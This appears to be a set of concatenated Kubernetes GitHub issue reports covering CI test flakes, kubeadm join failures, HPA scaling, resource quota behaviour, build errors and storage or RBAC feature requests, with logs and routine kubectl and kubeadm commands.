provider~driver  is unique, multiple drivers can be packaged in a single container image. this follows the existing model, expect that the drivers are now inside a container image in /plugins .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/1111/  failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality should allow template updates {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:212 expected stateful pod image gcr.io/google_containers/nginx-slim:0.7 updated to gcr.io/google_containers/nginx-slim:0.8 expected     <string>: gcr.io/google_containers/nginx-slim:0.7 to equal     <string>: gcr.io/google_containers/nginx-slim:0.8 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:209

problem https://github.com/kubernetes/kubernetes/issues/40936 showed, that despite e2e tests for container's logs, we still can encounter regressions for system logs.\r \r we need to establish an e2e test for ingesting system components's logs:\r \r   kubelet\r   docker\r \r cc @piosz

in order to support running tests in parallel, we added randomized nodeport selection.  there appears to be some evidence that this is not sufficient and is causing e2e test flakes:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/2510\r \r    \r i0331 20:31:25.848  i0401 03:24:49.018147       1 servicecontroller.go:580  service 'e2e-tests-federated-ingress-fpnqr/federated-ingress-service' is not found in cluster federation-e2e-gce-us-central1-a, trying to create new\r i0331 20:31:25.849  i0401 03:24:49.025434       1 servicecontroller.go:587  failed to create service \ federated-ingress-service\  is invalid: spec.ports 0 .nodeport: invalid value: 32589: provided port is already allocated\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-sd-logging/236/ failed:  k8s.io  cluster level logging using gcl  feature:stackdriverlogging  should create a constant load with short-living pods and ensure logs delivery {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster-logging/sd_load.go:122 may  1 19:03:28.917: failed to ingest logs: lost 2.63% of lines, but only loss of 0.10% can be tolerated /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster-logging/sd_load.go:118

failure cluster  8c679e11b3df36df572a  https://go.k8s.io/triage 8c679e11b3df36df572a        error text:     error during ./cluster/kubectl.sh version --match-server-version=false: exit status 1           failure cluster statistics: 1 tests failed,    4 jobs failed,    51 builds failed. failure stats cover 1 day time range '18 may 2017 20:57 utc' to '19 may 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | kubectl version | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gce-federation-test | 48 |  19 may 2017 20:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-federation-test/8106  | | ci-kubernetes-e2e-gce-1.6-master-cvm-kubectl-skew-serial | 1 |  19 may 2017 05:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-master-cvm-kubectl-skew-serial/4848  | | ci-kubernetes-e2e-gce-etcd2-release-1.6 | 1 |  19 may 2017 18:49 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd2-release-1.6/3152  |   current status  https://go.k8s.io/triage 8c679e11b3df36df572a

this proposal was submitted but never implemented.  good opportunity for someone to get to do a feature top-to-bottom.

>  \r \r   what happened  :\r hpa\r    \r name              reference                      targets           minpods   maxpods   replicas   age\r service-entrata   deployment/service-entrata     0% / 25%          2         100       2          1d\r    \r \r deployment\r    \r name                        desired   current   up-to-date   available   age\r service-entrata             2         2         2            0           4d\r    \r \r   what you expected to happen  :\r \r hpa should take action and start 2 new pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a deployment with a strict readiness probe  timeoutseconds=1   periodseconds=2  and make cpu go up until the the pods become not ready.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.7.3 \r - cloud provider or hardware configuration  :  gke \r - os  e.g. from /etc/os-release :  alpine-node \r

is this a bug report or feature request?  :\r   \r   what happened  :\r if user creates a loadbalancer service, servicecontroller will create a cloud loadbalancer for this service.\r if the cloud loadbalancer is broken  or deleted  on cloud, servicecontroller doesn't update the status of this service and kubernetes still think that this service is in a normal status.\r \r   what you expected to happen  :\r servicecontroller should monitor the cloud loadbalancer and update service status.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r servicecontroller should monitor the cloud loadbalancer. \r if cloud loadbalancer is deleted, service's status should be updated.\r can i create a goroutine to check the status of cloud loadbalancer? if the status isn't active, update service'status.\r on the other hand, after merging this pr  53146 , if there is no available node for this loadbalancer service, we should update service status too.\r \r /cc @bowei\r /cc @thockin\r any thoughts?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r    /area kubeadm\r \r   what happened  :\r used kubeadm init to initialize master, then used kubeadm to join slave. master never sees adds slave node and slave kubelet has 'failed to \ startcontainer\  for \ kubedns\ ' error\r \r   what you expected to happen  :\r slave node should join cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. clean install of kubernetes\r 2. kubeadm init --token-ttl 0 --pod-network-cidr=10.244.0.0/16\r 3. install pod network: kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.9.0/documentation/kube-flannel.yml\r 4. join on slave node: kubeadm join --token <token> <master-ip>:<master-port> --discovery-token-ca-cert-hash sha256:<hash>\r \r   anything else we need to know?  :\r no_proxy set \ 127.0.0.1, localhost, <master-ip>\ \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r master@ubuntu:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04.3 lts\ \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux ubuntu 4.10.0-37-generic  41~16.04.1-ubuntu smp fri oct 6 22:42:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - docker\r docker version: 17.09.0-ce\r \r - install tools:\r - others:\r \r before join by slave:\r master@ubuntu:~$ kubectl get pods --all-namespaces\r namespace     name                             ready     status    restarts   age\r kube-system   etcd-ubuntu                      1/1       running   0          10m\r kube-system   kube-apiserver-ubuntu            1/1       running   0          10m\r kube-system   kube-controller-manager-ubuntu   1/1       running   0          9m\r kube-system   kube-dns-545bc4bfd4-s2wml        3/3       running   0          9m\r kube-system   kube-flannel-ds-tmpdg            1/1       running   0          6m\r kube-system   kube-proxy-nhmz8                 1/1       running   0          9m\r kube-system   kube-scheduler-ubuntu            1/1       running   0          9m\r \r \r master@ubuntu:~$ kubectl get nodes\r name      status    roles     age       version\r ubuntu    ready     master    11m       v1.8.1\r \r \r join on slave node:\r root@ubuntu:~  kubeadm join --token 888fb2.176443c7da1f21b9 192.168.80.158:6443 --discovery-token-ca-cert-hash sha256:43d13c540a4c70686b5a3bd54a0514eddcaf5d0f5876f5b3a059eee4de833609\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  preflight  warning: docker version is greater than the most recently validated version. docker version: 17.09.0-ce. max validated version: 17.03\r  preflight  starting the kubelet service\r  discovery  trying to connect to api server \ 192.168.80.158:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://192.168.80.158:6443\ \r  discovery  requesting info from \ https://192.168.80.158:6443\  again to validate tls against the pinned public key\r  discovery  cluster info signature and contents are valid and tls certificate validates against pinned roots, will use api server \ 192.168.80.158:6443\ \r  discovery  successfully established connection with api server \ 192.168.80.158:6443\ \r  bootstrap  detected server version: v1.8.1\r  bootstrap  the server supports the certificates api  certificates.k8s.io/v1beta1 \r \r node join complete:\r   certificate signing request sent to master and response\r   received.\r   kubelet informed of new secure connection details.\r \r run 'kubectl get nodes' on the master to see this machine join.\r \r \r slave@ubuntu:~$ journalctl -u kubelet  note: /etc/kubernetes/pki/ca.crt file does exist :\r oct 11 09:58:32 ubuntu systemd 1 : started kubelet: the kubernetes node agent.\r oct 11 09:58:48 ubuntu kubelet 891 : i1011 09:58:48.621416     891 feature_gate.go:156  feature gates: map  \r oct 11 09:58:48 ubuntu kubelet 891 : i1011 09:58:48.623782     891 controller.go:114  kubelet config controller: starting controller\r oct 11 09:58:48 ubuntu kubelet 891 : i1011 09:58:48.624160     891 controller.go:118  kubelet config controller: validating combination of defaults and flags\r oct 11 09:58:49 ubuntu kubelet 891 : error: unable to load client ca file /etc/kubernetes/pki/ca.crt: open /etc/kubernetes/pki/ca.crt: no such file or directory\r oct 11 09:58:49 ubuntu systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure\r oct 11 09:58:49 ubuntu systemd 1 : kubelet.service: unit entered failed state.\r oct 11 09:58:49 ubuntu systemd 1 : kubelet.service: failed with result 'exit-code'.\r oct 11 14:58:59 ubuntu systemd 1 : kubelet.service: service hold-off time over, scheduling restart.\r oct 11 14:58:59 ubuntu systemd 1 : stopped kubelet: the kubernetes node agent.\r \r \r slave@ubuntu:~$ systemctl status kubelet -o verbose  kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /lib/systemd/system/kubelet.service; enabled; vendor preset: enabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since thu 2017-10-12 18:18:24 cdt; 5min ago\r      docs: http://kubernetes.io/docs/\r  main pid: 16668  kubelet \r     tasks: 16\r    memory: 66.0m\r       cpu: 17.152s\r    cgroup: /system.slice/kubelet.service\r            └─16668 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\r \r thu 2017-10-12 18:22:44.858901 cdt  s=3b7eb488ec754e91b013ca2a3dcf5e1e;i=188b;b=68d386d44bcc41e5a312b9e1f29398b0;m=1858abae7;t=55b61d14af415;x=5bde90da1a643271 \r     priority=6\r     _uid=0\r     _gid=0\r     _systemd_slice=system.slice\r     _boot_id=68d386d44bcc41e5a312b9e1f29398b0\r     _machine_id=b23f6303dbee42f79605ace08839369a\r     _hostname=ubuntu\r     syslog_facility=3\r     _cap_effective=3fffffffff\r     _transport=stdout\r     syslog_identifier=kubelet\r     _pid=16668\r     _comm=kubelet\r     _exe=/usr/bin/kubelet\r     _cmdline=/usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\r     _systemd_cgroup=/system.slice/kubelet.service\r     _systemd_unit=kubelet.service\r     message=i1012 18:22:44.857692   16668 kuberuntime_manager.go:738  checking backoff for container \ kubedns\  in pod \ kube-dns-545bc4bfd4-s2wml_kube-system b136f897-aece-11e7-9fe4-000c2941e694 \ \r thu 2017-10-12 18:22:44.859228 cdt  s=3b7eb488ec754e91b013ca2a3dcf5e1e;i=188c;b=68d386d44bcc41e5a312b9e1f29398b0;m=1858abc2e;t=55b61d14af55c;x=85c3d43126b42c6c \r     priority=6\r     _uid=0\r     _gid=0\r     _systemd_slice=system.slice\r     _boot_id=68d386d44bcc41e5a312b9e1f29398b0\r     _machine_id=b23f6303dbee42f79605ace08839369a\r     _hostname=ubuntu\r     syslog_facility=3\r     _cap_effective=3fffffffff\r     _transport=stdout\r     syslog_identifier=kubelet\r     _pid=16668\r     _comm=kubelet\r     _exe=/usr/bin/kubelet\r     _cmdline=/usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\r     _systemd_cgroup=/system.slice/kubelet.service\r     _systemd_unit=kubelet.service\r     message=i1012 18:22:44.858075   16668 kuberuntime_manager.go:748  back-off 20s restarting failed container=kubedns pod=kube-dns-545bc4bfd4-s2wml_kube-system b136f897-aece-11e7-9fe4-000c2941e694 \r thu 2017-10-12 18:22:44.859786 cdt  s=3b7eb488ec754e91b013ca2a3dcf5e1e;i=188d;b=68d386d44bcc41e5a312b9e1f29398b0;m=1858abe5c;t=55b61d14af78a;x=4d93e552d7b28619 \r     priority=6\r     _uid=0\r     _gid=0\r     _systemd_slice=system.slice\r     _boot_id=68d386d44bcc41e5a312b9e1f29398b0\r     _machine_id=b23f6303dbee42f79605ace08839369a\r     _hostname=ubuntu\r     syslog_facility=3\r     _cap_effective=3fffffffff\r     _transport=stdout\r     syslog_identifier=kubelet\r     _pid=16668\r     _comm=kubelet\r     _exe=/usr/bin/kubelet\r     _cmdline=/usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 --rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\r     _systemd_cgroup=/system.slice/kubelet.service\r     _systemd_unit=kubelet.service\r     message=e1012 18:22:44.858163   16668 pod_workers.go:182  error syncing pod b136f897-aece-11e7-9fe4-000c2941e694  \ kube-dns-545bc4bfd4-s2wml_kube-system b136f897-aece-11e7-9fe4-000c2941e694 \  , skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 20s restarting failed container=kubedns pod=kube-dns-545bc4bfd4-s2wml_kube-system b136f897-aece-11e7-9fe4-000c2941e694 \ \r \r

with  hack/local-up-cluster.sh , i see continuous polling of mutatingwebhookconfigurations and validatingwebhookconfigurations objects  once a second, without end :\r \r    \r i1124 17:47:38.496403   25281 wrap.go:42  get /apis/admissionregistration.k8s.io/v1beta1/mutatingwebhookconfigurations:  941.788µs  200   hyperkube/v1.10.0  darwin/amd64  kubernetes/2952d7c  127.0.0.1:51994 \r i1124 17:47:38.496367   25281 wrap.go:42  get /apis/admissionregistration.k8s.io/v1beta1/validatingwebhookconfigurations:  950.094µs  200   hyperkube/v1.10.0  darwin/amd64  kubernetes/2952d7c  127.0.0.1:51994 \r i1124 17:47:39.498264   25281 wrap.go:42  get /apis/admissionregistration.k8s.io/v1beta1/mutatingwebhookconfigurations:  666.13µs  200   hyperkube/v1.10.0  darwin/amd64  kubernetes/2952d7c  127.0.0.1:51994 \r i1124 17:47:39.498292   25281 wrap.go:42  get /apis/admissionregistration.k8s.io/v1beta1/validatingwebhookconfigurations:  726.744µs  200   hyperkube/v1.10.0  darwin/amd64  kubernetes/2952d7c  127.0.0.1:51994 \r    \r \r   /assign @caesarxuchao @cheftako

i use following image to build from v1.8.6  code tree,and get error ,do not know why\r \r    \r   docker images|grep cross|grep gcr\r gcr.io/google_containers/kube-cross                      v1.8.3-2                      7127aabce11c        20 minutes ago      1.871 gb\r \r \r  root@k8s-master kubernetes   make release\r +++  0108 17:33:17  verifying prerequisites....\r +++  0108 17:33:17  building docker image kube-build:build-94fb78b303-5-v1.8.3-2\r \r +++  0108 17:35:43  creating data container kube-build-data-94fb78b303-5-v1.8.3-2\r +++  0108 17:35:45  syncing sources to container\r +++  0108 17:35:56  running build command...\r \r +++  0108 17:36:20  multiple platforms requested, but available 6g < threshold 11g, building platforms in serial\r +++  0108 17:36:20  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r   k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r usage: link  options  main.o\r   -b note\r         add an elf nt_gnu_build_id note when using elf\r   -d address\r         set data segment address  default -1 \r   -e entry\r         set entry symbol name\r   -h type\r         set header type\r   -i linker\r         use linker as elf dynamic linker\r   -l directory\r         add specified directory to library path\r   -r quantum\r         set address rounding quantum  default -1 \r   -t address\r         set text segment address  default -1 \r   -v    print version and exit\r   -x definition\r         add string value definition of the form importpath.name=value\r   -a    disassemble output\r   -buildid id\r         record id as go toolchain build id\r   -buildmode mode\r         set build mode\r   -c    dump call graph\r   -cpuprofile file\r         write cpu profile to file\r   -d    disable dynamic executable\r   -debugtramp int\r         debug trampolines\r   -dumpdep\r         dump symbol dependency graph\r   -extar string\r         archive program for buildmode=c-archive\r   -extld linker\r         use linker when linking in external mode\r   -extldflags flags\r         pass flags to external linker\r   -f    ignore version mismatch\r   -g    disable go package data checks\r   -h    halt on error\r   -installsuffix suffix\r         set package directory suffix\r   -k symbol\r         set field tracking symbol\r   -libgcc string\r         compiler support lib for internal linking; use \ none\  to disable\r   -linkmode mode\r         set link mode\r   -linkshared\r         link against installed go shared libraries\r   -memprofile file\r         write memory profile to file\r   -memprofilerate rate\r         set runtime.memprofilerate to rate\r   -msan\r         enable msan interface\r   -n    dump symbol table\r   -o file\r         write output to file\r   -pluginpath string\r         full path name for plugin\r   -r path\r         set the elf dynamic linker search path to dir1:dir2:...\r   -race\r         enable race detector\r   -s    disable symbol table\r   -tmpdir directory\r         use directory for temporary files\r   -u    reject unsafe packages\r   -v    print link trace\r   -w    disable dwarf generation\r   k8s.io/kubernetes/hack/cmd/teststale\r usage: link  options  main.o\r   -b note\r         add an elf nt_gnu_build_id note when using elf\r   -d address\r         set data segment address  default -1 \r   -e entry\r         set entry symbol name\r   -h type\r         set header type\r   -i linker\r         use linker as elf dynamic linker\r   -l directory\r         add specified directory to library path\r   -r quantum\r         set address rounding quantum  default -1 \r   -t address\r         set text segment address  default -1 \r   -v    print version and exit\r   -x definition\r         add string value definition of the form importpath.name=value\r   -a    disassemble output\r   -buildid id\r         record id as go toolchain build id\r   -buildmode mode\r         set build mode\r   -c    dump call graph\r   -cpuprofile file\r         write cpu profile to file\r   -d    disable dynamic executable\r   -debugtramp int\r         debug trampolines\r   -dumpdep\r         dump symbol dependency graph\r   -extar string\r         archive program for buildmode=c-archive\r   -extld linker\r         use linker when linking in external mode\r   -extldflags flags\r         pass flags to external linker\r   -f    ignore version mismatch\r   -g    disable go package data checks\r   -h    halt on error\r   -installsuffix suffix\r         set package directory suffix\r   -k symbol\r         set field tracking symbol\r   -libgcc string\r         compiler support lib for internal linking; use \ none\  to disable\r   -linkmode mode\r         set link mode\r   -linkshared\r         link against installed go shared libraries\r   -memprofile file\r         write memory profile to file\r   -memprofilerate rate\r         set runtime.memprofilerate to rate\r   -msan\r         enable msan interface\r   -n    dump symbol table\r   -o file\r         write output to file\r   -pluginpath string\r         full path name for plugin\r   -r path\r         set the elf dynamic linker search path to dir1:dir2:...\r   -race\r         enable race detector\r   -s    disable symbol table\r   -tmpdir directory\r         use directory for temporary files\r   -u    reject unsafe packages\r   -v    print link trace\r   -w    disable dwarf generation\r !!!  0108 17:36:21  call tree:\r !!!  0108 17:36:21   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:683 kube::golang::build_kube_toolchain ... \r !!!  0108 17:36:21   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0108 17:36:21  call tree:\r !!!  0108 17:36:21   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r makefile.generated_files:322: recipe for target '_output/bin/deepcopy-gen' failed\r make 2 :      _output/bin/deepcopy-gen  error 1\r makefile:512: recipe for target 'generated_files' failed\r make 1 :      generated_files  error 2\r makefile:443: recipe for target 'cross' failed\r make:      cross  error 1\r !!!  0108 17:36:21  call tree:\r !!!  0108 17:36:21   1: build/../build/common.sh:522 kube::build::run_build_command_ex ... \r !!!  0108 17:36:21   2: build/release.sh:36 kube::build::run_build_command ... \r make:      release  error 1\r   \r

failing jobs\r  sig-master-blocking kubeadm-gce  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce \r  sig-release-master-blocking kubeadm-gce-selfhosting  https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-selfhosting \r \r   failing tests\r  kubeadm gce up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/11247 \r  kubeadm gce self hosting  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-selfhosting/532 \r \r   triage results\r  kubeadm gce up  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=kubeadm-gce&test=up \r  kubeadm gce selfhosting  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=kubeadm-gce-selfhosting&test=up \r \r tests are failing on sig-master-blocking\r \r /cc @tpepper @aishsundar \r  / / \r i am not sure of which sig this goes through to

is this a bug report or feature request?  :\r  \r   what happened  :\r from the official docs: https://kubernetes.io/docs/concepts/policy/resource-quotas/ object-count-quota it should be possible to set quotas for different service types e.g.  services.loadbalancers  and  services.nodeports  so in theory i can forbid to create a raw service of the type  nodeport  but allow to create services of the type  loadbalancer  but in reality i get the following error:\r \r    bash\r $ kubectl --namespace=quota-object-example expose deployment nginx --port=80 --type=loadbalancer\r error from server  forbidden : services \ nginx\  is forbidden: exceeded quota: object-quota-demo, requested: services.nodeports=1, used: services.nodeports=0, limited: services.nodeports=0\r    \r my quotas  i used the example from https://kubernetes.io/docs/tasks/administer-cluster/quota-api-object :\r    bash\r kubectl get resourcequota object-quota-demo --namespace=quota-object-example --output=yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   creationtimestamp: 2018-07-25t18:34:07z\r   name: object-quota-demo\r   namespace: quota-object-example\r   resourceversion: \ 497\ \r   selflink: /api/v1/namespaces/quota-object-example/resourcequotas/object-quota-demo\r   uid: 50c4024c-9039-11e8-8721-08002731898f\r spec:\r   hard:\r     persistentvolumeclaims: \ 1\ \r     services.loadbalancers: \ 2\ \r     services.nodeports: \ 0\ \r status:\r   hard:\r     persistentvolumeclaims: \ 1\ \r     services.loadbalancers: \ 2\ \r     services.nodeports: \ 0\ \r   used:\r     persistentvolumeclaims: \ 1\ \r     services.loadbalancers: \ 0\ \r     services.nodeports: \ 0\ \r    \r \r   what you expected to happen  :\r i would expect that a user can create 1 service of the type  loadbalancer  but no services of the type  nodeport .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r $ minikube start\r ...\r $ kubectl create namespace quota-object-example\r $ kubectl create -f https://k8s.io/examples/admin/resource/quota-objects.yaml --namespace=quota-object-example\r $ kubectl run --image=nginx nginx --port=80\r $ kubectl --namespace=quota-object-example expose deployment nginx --port=80 --type=loadbalancer\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    bash\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:37:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    bash\r minikube version\r minikube version: v0.28.2\r    \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r minikube\r - others:\r we also see this happen on clusters created with kops / kubeadm for aws / openstack

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r i could confirm azure file premium is not available on current k8s version, current  account kind  for azure file is bound to  stroagev2 general purpose v2  , while azure file premium needs  file storage  account kind\r \r https://azure.microsoft.com/en-us/blog/premium-files-pushes-azure-files-limits-by-100x/\r \r current  ./services/storage/mgmt/2018-07-01/storage/models.go  supports  file storage   account kind, i will move to use  2018-07-01  and do code change on k8s azure file plugin to support azure file premium\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r rbac roles for external csi components  external-provisioner, external-attacher, etc.  are defined in https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/policy.go l462 and pre-installed on k8s\r \r   what you expected to happen  :\r https://github.com/kubernetes/kubernetes/issues/68819 issuecomment-423636593:\r \r > 1. we should use manifest yamls instead of bootstrapped roles or roles in code  1   3   https://github.com/kubernetes/kubernetes/pull/68821 issuecomment-423252660 \r > 2. we should deprecate the bootstrapped cluster roles asap  3   1   https://github.com/kubernetes/kubernetes/issues/68819 issuecomment-422834929 \r > 2. cluster role names should be unique, potentially even tagging uuid's onto the end of the names when creating from manifests  2   1 \r > 3. ideally some sort of sync/import of the manifests between the external repo  source of truth  and the test manifest  4 \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel \r \r   which test s  are failing  :\r  sig-scheduling  resourcequota should create a resourcequota and capture the life of a configmap\r \r   since when has it been failing  :\r november 8th, 2018\r \r   testgrid link  :\r -  testgrid  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel \r -  example failure  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/5524 \r \r <!-- do not edit below this line -->\r 

